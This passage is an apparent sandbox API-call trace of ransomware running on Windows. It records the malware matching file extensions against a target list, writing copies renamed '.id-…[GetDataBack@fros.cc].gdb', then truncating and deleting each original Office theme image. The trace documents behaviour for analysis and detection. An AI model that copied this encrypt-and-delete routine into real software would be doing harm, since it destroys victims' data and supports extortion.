Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0127.061] lstrlenW (lpString=".1cd") returned 4 [0127.061] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0127.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0127.061] lstrlenW (lpString=".jpg") returned 4 [0127.061] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0127.061] lstrcmpiW (lpString1=".GIF", lpString2=".gdb") returned 1 [0127.061] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0127.061] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0127.062] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x204fd44 | out: lpFileSize=0x204fd44*=1666) returned 1 [0127.062] CloseHandle (hObject=0x220) returned 1 [0127.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif")) returned 0x20 [0127.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0127.062] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0127.063] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0127.063] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0127.063] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0127.064] GetLastError () returned 0x0 [0127.064] ReadFile (in: hFile=0x220, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x682, lpOverlapped=0x0) returned 1 [0127.066] WriteFile (in: hFile=0x1d4, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0x690, lpOverlapped=0x0) returned 1 [0127.067] ReadFile (in: hFile=0x220, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x0, lpOverlapped=0x0) returned 1 [0127.067] WriteFile (in: hFile=0x1d4, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xea, lpOverlapped=0x0) returned 1 [0127.067] SetEndOfFile (hFile=0x1d4) returned 1 [0127.067] CloseHandle (hObject=0x1d4) returned 1 [0127.068] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0127.068] SetEndOfFile (hFile=0x220) returned 1 [0127.069] CloseHandle (hObject=0x220) returned 1 [0127.069] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0127.069] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif")) returned 1 [0127.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0127.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0127.069] lstrlenW (lpString=".doc") returned 4 [0127.069] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0127.069] lstrlenW (lpString=".docx") returned 5 [0127.069] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0127.069] lstrlenW (lpString=".pdf") returned 4 [0127.069] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0127.069] lstrlenW (lpString=".xls") returned 4 [0127.069] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0127.069] lstrlenW (lpString=".xlsx") returned 5 [0127.069] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0127.069] lstrlenW (lpString=".ppt") returned 4 [0127.069] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0127.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0127.069] lstrlenW (lpString=".zip") returned 4 [0127.069] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0127.070] lstrlenW (lpString=".rar") returned 4 [0127.070] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0127.070] lstrlenW (lpString=".bz2") returned 4 [0127.070] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0127.070] lstrlenW (lpString=".7z") returned 3 [0127.070] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0127.070] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0127.070] lstrlenW (lpString=".dbf") returned 4 [0127.070] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0127.070] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0127.070] lstrlenW (lpString=".1cd") returned 4 [0127.070] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0127.070] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0127.070] lstrlenW (lpString=".jpg") returned 4 [0127.070] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0127.070] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0127.070] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0127.071] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0127.071] GetLastError () returned 0x0 [0127.071] ReadFile (in: hFile=0x220, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x4c6b, lpOverlapped=0x0) returned 1 [0127.073] WriteFile (in: hFile=0x1d4, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0x4c70, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0x4c70, lpOverlapped=0x0) returned 1 [0127.074] ReadFile (in: hFile=0x220, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x0, lpOverlapped=0x0) returned 1 [0127.074] WriteFile (in: hFile=0x1d4, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xec, lpOverlapped=0x0) returned 1 [0127.074] SetEndOfFile (hFile=0x1d4) returned 1 [0127.074] CloseHandle (hObject=0x1d4) returned 1 [0127.075] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0127.075] SetEndOfFile (hFile=0x220) returned 1 [0127.075] CloseHandle (hObject=0x220) returned 1 [0127.076] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0127.076] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png")) returned 1 [0127.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0127.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0127.076] lstrlenW (lpString=".doc") returned 4 [0127.076] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0127.076] lstrlenW (lpString=".docx") returned 5 [0127.076] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0127.076] lstrlenW (lpString=".pdf") returned 4 [0127.077] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0127.077] lstrlenW (lpString=".xls") returned 4 [0127.077] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0127.077] lstrlenW (lpString=".xlsx") returned 5 [0127.077] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0127.077] lstrlenW (lpString=".ppt") returned 4 [0127.077] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0127.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0127.077] lstrlenW (lpString=".zip") returned 4 [0127.077] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0127.077] lstrlenW (lpString=".rar") returned 4 [0127.077] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0127.077] lstrlenW (lpString=".bz2") returned 4 [0127.077] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0127.077] lstrlenW (lpString=".7z") returned 3 [0127.077] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0127.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0127.077] lstrlenW (lpString=".dbf") returned 4 [0127.077] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0127.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0127.077] lstrlenW (lpString=".1cd") returned 4 [0127.077] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0127.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0127.077] lstrlenW (lpString=".jpg") returned 4 [0127.077] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0127.078] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0127.078] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0127.078] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0127.080] GetLastError () returned 0x0 [0127.080] ReadFile (in: hFile=0x220, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x58f, lpOverlapped=0x0) returned 1 [0127.081] WriteFile (in: hFile=0x1ac, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0x590, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0x590, lpOverlapped=0x0) returned 1 [0127.082] ReadFile (in: hFile=0x220, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x0, lpOverlapped=0x0) returned 1 [0127.082] WriteFile (in: hFile=0x1ac, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xea, lpOverlapped=0x0) returned 1 [0127.082] SetEndOfFile (hFile=0x1ac) returned 1 [0127.082] CloseHandle (hObject=0x1ac) returned 1 [0127.082] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0127.082] SetEndOfFile (hFile=0x220) returned 1 [0127.083] CloseHandle (hObject=0x220) returned 1 [0127.083] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0127.084] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif")) returned 1 [0127.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0127.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0127.084] lstrlenW (lpString=".doc") returned 4 [0127.084] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0127.084] lstrlenW (lpString=".docx") returned 5 [0127.084] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0127.084] lstrlenW (lpString=".pdf") returned 4 [0127.084] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0127.084] lstrlenW (lpString=".xls") returned 4 [0127.084] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0127.084] lstrlenW (lpString=".xlsx") returned 5 [0127.084] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0127.084] lstrlenW (lpString=".ppt") returned 4 [0127.084] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0127.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0127.084] lstrlenW (lpString=".zip") returned 4 [0127.084] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0127.085] lstrlenW (lpString=".rar") returned 4 [0127.085] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0127.085] lstrlenW (lpString=".bz2") returned 4 [0127.085] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0127.085] lstrlenW (lpString=".7z") returned 3 [0127.085] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0127.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0127.085] lstrlenW (lpString=".dbf") returned 4 [0127.085] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0127.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0127.085] lstrlenW (lpString=".1cd") returned 4 [0127.085] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0127.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0127.085] lstrlenW (lpString=".jpg") returned 4 [0127.085] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0127.085] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0127.085] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0127.086] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0127.086] GetLastError () returned 0x0 [0127.086] ReadFile (in: hFile=0x220, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x3d79, lpOverlapped=0x0) returned 1 [0127.573] WriteFile (in: hFile=0x1ac, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0x3d80, lpOverlapped=0x0) returned 1 [0127.792] ReadFile (in: hFile=0x220, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x0, lpOverlapped=0x0) returned 1 [0127.792] WriteFile (in: hFile=0x1ac, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xec, lpOverlapped=0x0) returned 1 [0127.792] SetEndOfFile (hFile=0x1ac) returned 1 [0127.793] CloseHandle (hObject=0x1ac) returned 1 [0127.793] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0127.793] SetEndOfFile (hFile=0x220) returned 1 [0127.794] CloseHandle (hObject=0x220) returned 1 [0127.794] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0127.794] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png")) returned 1 [0127.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0127.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0127.795] lstrlenW (lpString=".doc") returned 4 [0127.795] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0127.795] lstrlenW (lpString=".docx") returned 5 [0127.795] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0127.795] lstrlenW (lpString=".pdf") returned 4 [0127.795] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0127.795] lstrlenW (lpString=".xls") returned 4 [0127.795] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0127.795] lstrlenW (lpString=".xlsx") returned 5 [0127.795] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0127.795] lstrlenW (lpString=".ppt") returned 4 [0127.795] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0127.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0127.795] lstrlenW (lpString=".zip") returned 4 [0127.795] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0127.795] lstrlenW (lpString=".rar") returned 4 [0127.795] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0127.795] lstrlenW (lpString=".bz2") returned 4 [0127.795] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0127.795] lstrlenW (lpString=".7z") returned 3 [0127.795] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0127.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0127.795] lstrlenW (lpString=".dbf") returned 4 [0127.795] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0127.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0127.796] lstrlenW (lpString=".1cd") returned 4 [0127.796] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0127.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0127.796] lstrlenW (lpString=".jpg") returned 4 [0127.796] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0128.061] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0128.061] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0128.061] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0128.062] GetLastError () returned 0x0 [0128.062] ReadFile (in: hFile=0x218, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0xbb5a, lpOverlapped=0x0) returned 1 [0128.064] WriteFile (in: hFile=0x208, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xbb60, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xbb60, lpOverlapped=0x0) returned 1 [0128.066] ReadFile (in: hFile=0x218, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x0, lpOverlapped=0x0) returned 1 [0128.066] WriteFile (in: hFile=0x208, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xec, lpOverlapped=0x0) returned 1 [0128.066] SetEndOfFile (hFile=0x208) returned 1 [0128.067] CloseHandle (hObject=0x208) returned 1 [0128.067] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0128.067] SetEndOfFile (hFile=0x218) returned 1 [0128.068] CloseHandle (hObject=0x218) returned 1 [0128.068] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0128.068] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png")) returned 1 [0128.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0128.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0128.069] lstrlenW (lpString=".doc") returned 4 [0128.069] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0128.069] lstrlenW (lpString=".docx") returned 5 [0128.069] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0128.069] lstrlenW (lpString=".pdf") returned 4 [0128.069] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0128.069] lstrlenW (lpString=".xls") returned 4 [0128.069] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0128.069] lstrlenW (lpString=".xlsx") returned 5 [0128.069] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0128.069] lstrlenW (lpString=".ppt") returned 4 [0128.069] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0128.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0128.069] lstrlenW (lpString=".zip") returned 4 [0128.069] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0128.069] lstrlenW (lpString=".rar") returned 4 [0128.069] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0128.069] lstrlenW (lpString=".bz2") returned 4 [0128.069] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0128.069] lstrlenW (lpString=".7z") returned 3 [0128.069] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0128.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0128.069] lstrlenW (lpString=".dbf") returned 4 [0128.069] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0128.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0128.069] lstrlenW (lpString=".1cd") returned 4 [0128.069] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0128.069] lstrlenW (lpString="C:\\Program 